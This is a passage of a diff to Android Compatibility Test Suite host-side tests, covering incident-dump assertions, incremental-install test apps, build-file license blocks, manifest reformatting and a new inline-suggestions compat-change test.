-        for (AlarmClockMetadataProto ac : dump.getNextAlarmClockMetadataList()) {
-            assertTrue(0 <= ac.getUser());
-            assertTrue(0 < ac.getTriggerTimeMs());
-        }
-
-        for (BatchProto b : dump.getPendingAlarmBatchesList()) {
-            final long start = b.getStartRealtime();
-            final long end = b.getEndRealtime();
-            assertTrue("Batch start time (" + start+ ") is negative", 0 <= start);
-            assertTrue("Batch end time (" + end + ") is negative", 0 <= end);
-            assertTrue("Batch start time (" + start + ") is after its end time (" + end + ")",
-                start <= end);
-            testAlarmProtoList(b.getAlarmsList(), filterLevel);
-        }
-
-        testAlarmProtoList(dump.getPendingUserBlockedBackgroundAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getPendingIdleUntil(), filterLevel);
-
-        testAlarmProtoList(dump.getPendingWhileIdleAlarmsList(), filterLevel);
-
-        testAlarmProto(dump.getNextWakeFromIdle(), filterLevel);
-
-        testAlarmProtoList(dump.getPastDueNonWakeupAlarmsList(), filterLevel);
-
-        assertTrue(0 <= dump.getDelayedAlarmCount());
-        assertTrue(0 <= dump.getTotalDelayTimeMs());
-        assertTrue(0 <= dump.getMaxDelayDurationMs());
-        assertTrue(0 <= dump.getMaxNonInteractiveDurationMs());
-
-        assertTrue(0 <= dump.getBroadcastRefCount());
-        assertTrue(0 <= dump.getPendingIntentSendCount());
-        assertTrue(0 <= dump.getPendingIntentFinishCount());
-        assertTrue(0 <= dump.getListenerSendCount());
-        assertTrue(0 <= dump.getListenerFinishCount());
-
-        for (InFlightProto f : dump.getOutstandingDeliveriesList())  {
-            assertTrue(0 <= f.getUid());
-            assertTrue(0 < f.getWhenElapsedMs());
-            testBroadcastStatsProto(f.getBroadcastStats());
-            testFilterStatsProto(f.getFilterStats(), filterLevel);
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(f.getTag().isEmpty());
-            }
-        }
-
-        for (AlarmManagerServiceDumpProto.LastAllowWhileIdleDispatch l : dump.getLastAllowWhileIdleDispatchTimesList()) {
-            assertTrue(0 <= l.getUid());
-            assertTrue(0 < l.getTimeMs());
-        }
-
-        for (AlarmManagerServiceDumpProto.TopAlarm ta : dump.getTopAlarmsList()) {
-            assertTrue(0 <= ta.getUid());
-            testFilterStatsProto(ta.getFilter(), filterLevel);
-        }
-
-        for (AlarmManagerServiceDumpProto.AlarmStat as : dump.getAlarmStatsList()) {
-            testBroadcastStatsProto(as.getBroadcast());
-            for (FilterStatsProto f : as.getFiltersList()) {
-                testFilterStatsProto(f, filterLevel);
-            }
-        }
-
-        for (IdleDispatchEntryProto id : dump.getAllowWhileIdleDispatchesList()) {
-            assertTrue(0 <= id.getUid());
-            assertTrue(0 <= id.getEntryCreationRealtime());
-            assertTrue(0 <= id.getArgRealtime());
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(id.getTag().isEmpty());
-            }
-        }
-
-        for (WakeupEventProto we : dump.getRecentWakeupHistoryList()) {
-            assertTrue(0 <= we.getUid());
-            assertTrue(0 <= we.getWhen());
-        }
-    }
-
-    private static void testAlarmProtoList(List<AlarmProto> alarms, final int filterLevel) throws Exception {
-        for (AlarmProto a : alarms) {
-            testAlarmProto(a, filterLevel);
-        }
-    }
-
-    private static void testAlarmProto(AlarmProto alarm, final int filterLevel) throws Exception {
-        assertNotNull(alarm);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(alarm.getTag().isEmpty());
-            assertTrue(alarm.getListener().isEmpty());
-        }
-        // alarm.time_until_when_elapsed_ms can be negative if 'when' is in the past.
-        assertTrue(0 <= alarm.getWindowLengthMs());
-        assertTrue(0 <= alarm.getRepeatIntervalMs());
-        assertTrue(0 <= alarm.getCount());
-    }
-
-    private static void testBroadcastStatsProto(BroadcastStatsProto broadcast) throws Exception {
-        assertNotNull(broadcast);
-
-        assertTrue(0 <= broadcast.getUid());
-        assertTrue(0 <= broadcast.getTotalFlightDurationMs());
-        assertTrue(0 <= broadcast.getCount());
-        assertTrue(0 <= broadcast.getWakeupCount());
-        assertTrue(0 <= broadcast.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= broadcast.getNesting());
-    }
-
-    private static void testFilterStatsProto(FilterStatsProto filter, final int filterLevel) throws Exception {
-        assertNotNull(filter);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(filter.getTag().isEmpty());
-        }
-        assertTrue(0 <= filter.getLastFlightTimeRealtime());
-        assertTrue(0 <= filter.getTotalFlightDurationMs());
-        assertTrue(0 <= filter.getCount());
-        assertTrue(0 <= filter.getWakeupCount());
-        assertTrue(0 <= filter.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= filter.getNesting());
-    }
-}
-
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index a262209..b136927 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -24,9 +24,6 @@
     private static final String TAG = "IncidentdTest";
 
     public void testIncidentReportDump(final int filterLevel, final String dest) throws Exception {
-        if (incidentdDisabled()) {
-            return;
-        }
         final String destArg = dest == null || dest.isEmpty() ? "" : "-p " + dest;
         final IncidentProto dump = getDump(IncidentProto.parser(), "incident " + destArg + " 2>/dev/null");
 
@@ -69,8 +66,6 @@
 
         ActivityManagerIncidentTest.verifyActivityManagerServiceDumpProcessesProto(dump.getAmprocesses(), filterLevel);
 
-        AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
index 6ea48fe..66137c1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -16,6 +16,7 @@
 package com.android.server.cts;
 
 import android.service.pm.PackageProto;
+import android.service.pm.PackageProto.UserInfoProto;
 import android.service.pm.PackageServiceDumpProto;
 
 import java.util.regex.Matcher;
@@ -70,6 +71,7 @@
                 break;
             }
         }
+
         assertNotNull(testPackage);
         assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
         assertEquals(testPackage.getUid(), uid);
@@ -79,16 +81,16 @@
         assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
         assertEquals(testPackage.getSplits(0).getName(), "base");
         assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
-        assertEquals(testPackage.getUsers(0).getId(), 0);
-        assertEquals(
-                testPackage.getUsers(0).getInstallType(),
+        assertNotNull(testPackage.getUserPermissionsList());
+
+        UserInfoProto testUser = testPackage.getUsers(0);
+        assertEquals(testUser.getId(), 0);
+        assertEquals(testUser.getInstallType(),
                 PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
-        assertFalse(testPackage.getUsers(0).getIsHidden());
-        assertFalse(testPackage.getUsers(0).getIsLaunched());
-        assertFalse(
-                testPackage.getUsers(0).getEnabledState()
-                        == PackageProto.UserInfoProto.EnabledState
-                                .COMPONENT_ENABLED_STATE_DISABLED_USER);
+        assertFalse(testUser.getIsHidden());
+        assertFalse(testUser.getIsLaunched());
+        assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto
+                .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER);
 
         verifyPackageServiceDumpProto(dump, PRIVACY_NONE);
     }
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index 13718a9..4d7f684 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -266,14 +266,4 @@
         }
         return false;
     }
-
-    protected boolean incidentdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, incidentd is disabled as well.
-        if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
-                && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
-            CLog.d("Incidentd is not enabled on the device.");
-            return true;
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/incrementalinstall/Android.bp b/hostsidetests/incrementalinstall/Android.bp
index 307f5fa..b4576b8 100644
--- a/hostsidetests/incrementalinstall/Android.bp
+++ b/hostsidetests/incrementalinstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsIncrementalInstallHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 5072cb4..2e8fef6 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // v1 implementation of test app built with v1 manifest.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "IncrementalTestApp",
     srcs: ["v1/src/**/*.java"],
@@ -44,6 +40,33 @@
     use_embedded_native_libs: false,
 }
 
+// v1 implementation of test app built with v1 manifest with uncompressed native libs.
+android_test_helper_app {
+    name: "IncrementalTestAppUncompressed",
+    srcs: ["v1/src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    test_suites: [
+        "cts",
+    ],
+    v4_signature: true,
+    static_libs: [
+        "incremental-install-common-lib",
+    ],
+    sdk_version: "test_current",
+    export_package_resources: true,
+    aapt_include_all_resources: true,
+    manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be uncompressed in the apk or associated split apk, and
+    // does not need to be extracted by the installer.
+    use_embedded_native_libs: true,
+}
+
 // v2 implementation of test app built with v1 manifest for zero version update test.
 android_test_helper_app {
     name: "IncrementalTestApp2_v1",
diff --git a/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml b/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
index 68d6d3d..881fbea 100644
--- a/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
+++ b/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
@@ -16,12 +16,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.incrementalinstall.incrementaltestapp"
-          android:versionCode="1"
-          android:versionName="1.0">
+     package="android.incrementalinstall.incrementaltestapp"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application android:label="IncrementalTestApp">
-        <activity android:name=".MainActivity">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml b/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
index 27cfbb9..e027fdd 100644
--- a/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
+++ b/hostsidetests/incrementalinstall/app/AndroidManifestV2.xml
@@ -16,12 +16,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.incrementalinstall.incrementaltestapp"
-          android:versionCode="2"
-          android:versionName="2.0">
+     package="android.incrementalinstall.incrementaltestapp"
+     android:versionCode="2"
+     android:versionName="2.0">
 
     <application android:label="IncrementalTestApp">
-        <activity android:name=".MainActivity">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
index b3dda07..b426210 100644
--- a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "IncrementalTestAppDynamicAsset",
     sdk_version: "current",
@@ -30,4 +26,4 @@
         "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
         "--package-id 0x80",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
index 942cfc2..451bab9 100644
--- a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "IncrementalTestAppDynamicCode",
     sdk_version: "current",
@@ -31,4 +27,4 @@
         "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
         "--package-id 0x81",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
index 3779c0e..7d7a602 100644
--- a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libcompressednativeincrementaltest",
     sdk_version: "current", // Oreo
diff --git a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
index 0849c0e..910c45f 100644
--- a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libuncompressednativeincrementaltest",
     sdk_version: "current", // Oreo
@@ -36,7 +32,7 @@
     compile_multilib: "both",
     export_package_resources: true,
         aapt_include_all_resources: true,
-        libs: ["IncrementalTestApp"],
+        libs: ["IncrementalTestAppUncompressed"],
         aaptflags: [
             "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
             "--package-id 0x83",
diff --git a/hostsidetests/incrementalinstall/appvalidator/Android.bp b/hostsidetests/incrementalinstall/appvalidator/Android.bp
index cc02b0e..41021fa 100644
--- a/hostsidetests/incrementalinstall/appvalidator/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "IncrementalTestAppValidator",
     srcs: ["src/**/*.java"],
@@ -47,4 +43,4 @@
     platform_apis: true,
     export_package_resources: true,
     aapt_include_all_resources: true,
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
index edd0a87..28d7450 100644
--- a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
@@ -14,10 +14,6 @@
  * limitations under the License.
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
  cc_test_library {
      name: "libpath_checker_jni",
      cpp_std: "c++2a",
diff --git a/hostsidetests/incrementalinstall/common/Android.bp b/hostsidetests/incrementalinstall/common/Android.bp
index ffe5d10..03b2f04 100644
--- a/hostsidetests/incrementalinstall/common/Android.bp
+++ b/hostsidetests/incrementalinstall/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "incremental-install-common-lib",
     srcs: ["src/**/*.java",],
@@ -25,4 +21,4 @@
 java_library_host {
     name: "incremental-install-common-host-lib",
     srcs: ["src/**/*.java",],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index 6e7adc6..fc90987 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -84,6 +84,8 @@
     private static final String TEST_APP_DYNAMIC_CODE_NAME = "IncrementalTestAppDynamicCode.apk";
     private static final String TEST_APP_COMPRESSED_NATIVE_NAME =
             "IncrementalTestAppCompressedNativeLib.apk";
+    private static final String TEST_APP_UNCOMPRESSED_BASE_NAME =
+            "IncrementalTestAppUncompressed.apk";
     private static final String TEST_APP_UNCOMPRESSED_NATIVE_NAME =
             "IncrementalTestAppUncompressedNativeLib.apk";
 
@@ -205,7 +207,7 @@
         assertTrue(checkNativeLibInApkCompression(TEST_APP_COMPRESSED_NATIVE_NAME,
                 "libuncompressednativeincrementaltest.so", false));
         verifyInstallCommandSuccess(
-                installWithAdbInstaller(TEST_APP_BASE_APK_NAME, TEST_APP_UNCOMPRESSED_NATIVE_NAME));
+                installWithAdbInstaller(TEST_APP_UNCOMPRESSED_BASE_NAME, TEST_APP_UNCOMPRESSED_NATIVE_NAME));
         verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
         verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
                 TEST_APP_V1_VERSION);
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
index f2e0be6..6d07408 100644
--- a/hostsidetests/inputmethodservice/common/Android.bp
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // Build the common library for use device-side
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
     name: "CtsInputMethodServiceCommon",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index 68b4a10..5ed387e 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -128,7 +128,7 @@
 
     /**
      * Command to get the last user ID that is specified to
-     * InputMethodManagerService.Lifecycle#onSwitchUser().
+     * InputMethodManagerService.Lifecycle#onUserSwitching().
      *
      * @return the command to be passed to shell command.
      */
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
index 4ad7237..4d4fb3e 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsInputMethodServiceDeviceTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
index 5314c9c..19c1440 100755
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -16,34 +16,34 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.devicetest" android:targetSandboxVersion="2">
+     package="android.inputmethodservice.cts.devicetest"
+     android:targetSandboxVersion="2">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
-    <application
-        android:label="CtsInputMethodServiceDeviceTests"
-        android:icon="@mipmap/ic_launcher"
-        android:allowBackup="false">
+    <application android:label="CtsInputMethodServiceDeviceTests"
+         android:icon="@mipmap/ic_launcher"
+         android:allowBackup="false">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".TestActivity"
-            android:label="TestActivity">
+        <activity android:name=".TestActivity"
+             android:label="TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.inputmethodservice.cts.devicetest" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.inputmethodservice.cts.devicetest"/>
 
 </manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java
new file mode 100644
index 0000000..e405b0c
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InlineSuggestionsRequestDeviceTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.compat.CompatChanges;
+import android.os.LocaleList;
+import android.util.Size;
+import android.view.inputmethod.InlineSuggestionsRequest;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+/**
+ * Device side tests for the {@link android.app.compat.CompatChanges} API changes in
+ * {@link android.view.inputmethod.InlineSuggestionsRequest}.
+ *
+ * <p>See also {@link android.inputmethodservice.cts.hostside.InlineSuggestionsRequestHostTest}.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class InlineSuggestionsRequestDeviceTest {
+
+    /**
+     * This test case only concerns the {@link InlineSuggestionsRequest#getSupportedLocales()}
+     * API's behavior change from change id 169273070L. The other tests for the class are in
+     * the regular CTS tests.
+     */
+    @Test
+    public void imeAutofillDefaultSupportedLocalesIsEmpty_changeEnabled(){
+        assertTrue(CompatChanges.isChangeEnabled(169273070L));
+        InlineSuggestionsRequest request =createInlineSuggestionsRequestWithoutLocale();
+        assertEquals(LocaleList.getEmptyLocaleList(), request.getSupportedLocales());
+    }
+
+    @Test
+    public void imeAutofillDefaultSupportedLocalesIsEmpty_changeDisabled(){
+        assertFalse(CompatChanges.isChangeEnabled(169273070L));
+        InlineSuggestionsRequest request = createInlineSuggestionsRequestWithoutLocale();
+        assertEquals(LocaleList.getDefault(), request.getSupportedLocales());
+    }
+
+    private InlineSuggestionsRequest createInlineSuggestionsRequestWithoutLocale() {
+        return new InlineSuggestionsRequest.Builder(new ArrayList<>())
+                .addInlinePresentationSpecs(
+                        new InlinePresentationSpec.Builder(new Size(100, 100),
+                                new Size(400, 100)).build())
+                .setMaxSuggestionCount(3).build();
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
index e0f6ed5..bab73b4 100644
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "EditTextApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 8c59b53..65e546c 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInputMethod1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
index 70de83f..b0eaaa7 100755
--- a/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
@@ -16,29 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.ime1">
+     package="android.inputmethodservice.cts.ime1">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="25"/>
 
-    <application
-        android:label="@string/ime_name"
-        android:allowBackup="false"
-        android:theme="@android:style/Theme.InputMethod"
-    >
-        <service
-            android:name=".CtsInputMethod1"
-            android:label="@string/ime_name"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+    <application android:label="@string/ime_name"
+         android:allowBackup="false"
+         android:theme="@android:style/Theme.InputMethod">
+        <service android:name=".CtsInputMethod1"
+             android:label="@string/ime_name"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/ime1" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/ime1"/>
         </service>
     </application>
 
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
index 3426b86..875c3bc 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsInputMethod2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
index a166ba3..0168b8d 100755
--- a/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
@@ -16,29 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.inputmethodservice.cts.ime2">
+     package="android.inputmethodservice.cts.ime2">
 
     <!--
-      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
-      latest OS behaviors.
-    -->
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+              TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+              latest OS behaviors.
+            -->
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="25"/>
 
-    <application
-        android:label="@string/ime_name"
-        android:allowBackup="false"
-        android:theme="@android:style/Theme.InputMethod"
-    >
-        <service
-            android:name=".CtsInputMethod2"
-            android:label="@string/ime_name"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+    <application android:label="@string/ime_name"
+         android:allowBackup="false"
+         android:theme="@android:style/Theme.InputMethod">
+        <service android:name=".CtsInputMethod2"
+             android:label="@string/ime_name"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
